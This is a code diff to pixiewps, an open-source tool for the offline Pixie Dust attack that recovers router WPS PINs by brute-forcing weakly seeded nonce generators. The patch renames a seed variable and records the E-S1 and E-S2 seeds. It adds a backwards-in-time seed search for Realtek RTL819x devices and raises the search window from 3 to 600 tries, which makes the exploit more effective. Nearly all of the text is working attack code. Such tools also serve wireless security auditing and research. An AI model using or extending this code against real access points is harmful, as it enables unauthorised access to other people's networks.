diff --git a/src/pixiewps.c b/src/pixiewps.c index 9e5511b..12d9a57 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -89,7 +89,7 @@ static struct job_control { time_t end; uint32_t randr_enonce[4]; struct crack_job *crack_jobs; - volatile uint32_t print_seed; + volatile uint32_t nonce_seed; } job_control; static void *crack_thread(void *arg) { @@ -102,7 +102,7 @@ static void *crack_thread(void *arg) { initstate_r(seed, rand_statebuf, 128, buf); int32_t res = 0; - while (!job_control.print_seed) { + while (!job_control.nonce_seed) { srandom_r(seed, buf); unsigned int i; for (i = 0; i < 4; i++) { @@ -112,8 +112,8 @@ static void *crack_thread(void *arg) { } if (i == 4) { - job_control.print_seed = seed; - DEBUG_PRINT("Seed found"); + job_control.nonce_seed = seed; + DEBUG_PRINT("Seed found %u", seed); } if (seed == 0) break; @@ -157,7 +157,7 @@ static void setup_thread(int i) { static void init_crack_jobs(struct global *wps) { job_control.jobs = wps->jobs; job_control.end = wps->end; - job_control.print_seed = 0; + job_control.nonce_seed = 0; memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce)); /* Converting enrollee nonce to the sequence may be generated by current random function */ int i, j = 0; @@ -186,7 +186,7 @@ static uint32_t collect_crack_jobs() { pthread_join(job_control.crack_jobs[i].thr, &ret); } free(job_control.crack_jobs); - return job_control.print_seed; + return job_control.nonce_seed; } unsigned int hardware_concurrency() { @@ -744,7 +744,9 @@ usage_err: uint_fast8_t found_p_mode = NONE; char pin[WPS_PIN_LEN + 1]; uint32_t seed; - uint32_t print_seed = 0; + uint32_t nonce_seed = 0; + uint32_t s1_seed = 0; + uint32_t s2_seed = 0; /* Main loop */ while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) { @@ -780,7 +782,7 @@ usage_err: break; } if (i == WPS_NONCE_LEN) { /* Seed found */ - print_seed = seed; + nonce_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff); @@ -794,7 +796,7 @@ usage_err: index++; } while (!(index & 0x02000000)); - if (print_seed) { /* Seed found */ + if (nonce_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); @@ -864,29 +866,34 @@ usage_err: } #endif - print_seed = collect_crack_jobs(); + nonce_seed = collect_crack_jobs(); struct random_data *buf = calloc(1, sizeof(struct random_data)); char *rand_statebuf = calloc(1, 128); - initstate_r(print_seed, rand_statebuf, 128, buf); + initstate_r(nonce_seed, rand_statebuf, 128, buf); - if (print_seed) { /* Seed found */ + if (nonce_seed) { /* Seed found */ int32_t res; uint_fast8_t i = 0; uint8_t tmp_s_nonce[16]; + + DEBUG_PRINT("Trying forward in time"); + do { i++; - srandom_r(print_seed + i, buf); + srandom_r(nonce_seed + i, buf); for (uint_fast8_t j = 0; j < 4; j++) { random_r(buf, &res); uint32_t be = h32_to_be(res); memcpy(&(wps->e_s1[4 * j]), &be, 4); memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ } + s1_seed = nonce_seed + i; + s2_seed = nonce_seed + i; - DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT("Trying (%10u) with E-S1: ", s1_seed); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); - DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT("Trying (%10u) with E-S2: ", s2_seed); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r = crack(wps, pin); @@ -901,10 +908,12 @@ usage_err: memcpy(wps->e_s1, tmp_s_nonce, WPS_SECRET_NONCE_LEN); memcpy(tmp_s_nonce, wps->e_s2, WPS_SECRET_NONCE_LEN); /* E-S1 = old E-S1, E-S2 = new E-S2 */ } + s1_seed = nonce_seed + i - 1; + s2_seed = nonce_seed + i; - DEBUG_PRINT("Trying with E-S1: "); + DEBUG_PRINT("Trying (%10u) with E-S1: ", s1_seed); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); - DEBUG_PRINT("Trying with E-S2: "); + DEBUG_PRINT("Trying (%10u) with E-S2: ", s2_seed); DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); uint_fast8_t r2 = crack(wps, pin); @@ -918,6 +927,60 @@ usage_err: goto memory_err; } } while (found_p_mode == NONE && i <= MODE3_TRIES); + + if (found_p_mode == NONE) { + DEBUG_PRINT("Trying backwards in time"); + + i = 0; + do { + i++; + srandom_r(nonce_seed - i, buf); + for (uint_fast8_t j = 0; j < 4; j++) { + random_r(buf, &res); + uint32_t be = h32_to_be(res); + memcpy(&(wps->e_s1[4 * j]), &be, 4); + memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = E-S2 != E-Nonce */ + } + s1_seed = nonce_seed - i; + s2_seed = nonce_seed - i; + + DEBUG_PRINT("Trying (%10u) with E-S1: ", s1_seed); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying (%10u) with E-S2: ", s2_seed); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r = crack(wps, pin); + if (r == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found"); + } else if (r == PIN_ERROR) { + if (i == 1) { + memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); /* E-S1 = E-Nonce != E-S2 */ + memcpy(tmp_s_nonce, wps->e_s1, WPS_SECRET_NONCE_LEN); /* Chaching for next round, see below */ + } else { + memcpy(wps->e_s2, tmp_s_nonce, WPS_SECRET_NONCE_LEN); + memcpy(tmp_s_nonce, wps->e_s1, WPS_SECRET_NONCE_LEN); /* E-S1 = old E-S1, E-S2 = new E-S2 */ + } + s1_seed = nonce_seed - i; + s2_seed = nonce_seed - i + 1; + + DEBUG_PRINT("Trying (%10u) with E-S1: ", s1_seed); + DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); + DEBUG_PRINT("Trying (%10u) with E-S2: ", s2_seed); + DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN); + + uint_fast8_t r2 = crack(wps, pin); + if (r2 == PIN_FOUND) { + found_p_mode = RTL819x; + DEBUG_PRINT("Pin found"); + } else if (r2 == MEM_ERROR) { + goto memory_err; + } + } else if (r == MEM_ERROR) { + goto memory_err; + } + } while (found_p_mode == NONE && i <= MODE3_TRIES); + } } if (found_p_mode == NONE && !wps->bruteforce) { @@ -949,7 +1012,7 @@ usage_err: break; } if (i == WPS_NONCE_LEN) { /* Seed found */ - print_seed = seed; + nonce_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) ecos_rand_simplest(&seed); @@ -963,7 +1026,7 @@ usage_err: index++; } while (index != 0xffffffff); - if (print_seed) { /* Seed found */ + if (nonce_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); @@ -993,7 +1056,7 @@ usage_err: break; } if (i == WPS_NONCE_LEN) { /* Seed found */ - print_seed = seed; + nonce_seed = seed; for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S1 */ wps->e_s1[i] = (uint8_t) ecos_rand_knuth(&seed); @@ -1007,7 +1070,7 @@ usage_err: index++; } while (index != 0xffffffff); - if (print_seed) { /* Seed found */ + if (nonce_seed) { /* Seed found */ DEBUG_PRINT("Trying with E-S1: "); DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN); @@ -1040,28 +1103,38 @@ usage_err: printf("\n Pixiewps %s\n", SHORT_VERSION); if (found_p_mode) { + if (wps->verbosity > 1) { + printf("\n [*] Mode: %u (%s)", found_p_mode, p_mode_name[found_p_mode]); + } if (wps->e_nonce) { if (wps->verbosity > 2) { - if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && print_seed) + if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed) || found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) { - printf("\n [*] PRNG Seed: %u", print_seed); + printf("\n [*] Seed nonce: %u", nonce_seed); } - if (found_p_mode == RTL819x && print_seed) { + if (found_p_mode == RTL819x && nonce_seed) { time_t seed_time; struct tm ts; char buffer[30]; - seed_time = print_seed; + seed_time = nonce_seed; + ts = *gmtime(&seed_time); + strftime(buffer, 30, "%c", &ts); + printf(" (%s UTC)", buffer); + printf("\n [*] Seed E-S1: %u", s1_seed); + seed_time = s1_seed; + ts = *gmtime(&seed_time); + strftime(buffer, 30, "%c", &ts); + printf(" (%s UTC)", buffer); + printf("\n [*] Seed E-S2: %u", s2_seed); + seed_time = s2_seed; ts = *gmtime(&seed_time); strftime(buffer, 30, "%c", &ts); printf(" (%s UTC)", buffer); } } } - if (wps->verbosity > 1) { - printf("\n [*] Mode: %u (%s)", found_p_mode, p_mode_name[found_p_mode]); - } if (wps->verbosity > 2) { if (wps->dhkey) { /* To see if AuthKey was supplied or not */ printf("\n [*] DHKey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); diff --git a/src/pixiewps.h b/src/pixiewps.h index 381c6a1..d5b43ae 100644 --- a/src/pixiewps.h +++ b/src/pixiewps.h @@ -32,7 +32,7 @@ /* Modes constants */ #define MODE_LEN 5 #define MODE3_DAYS 1 -#define MODE3_TRIES 3 +#define MODE3_TRIES (60 * 10) #define SEC_PER_DAY 86400 /* Exit costants */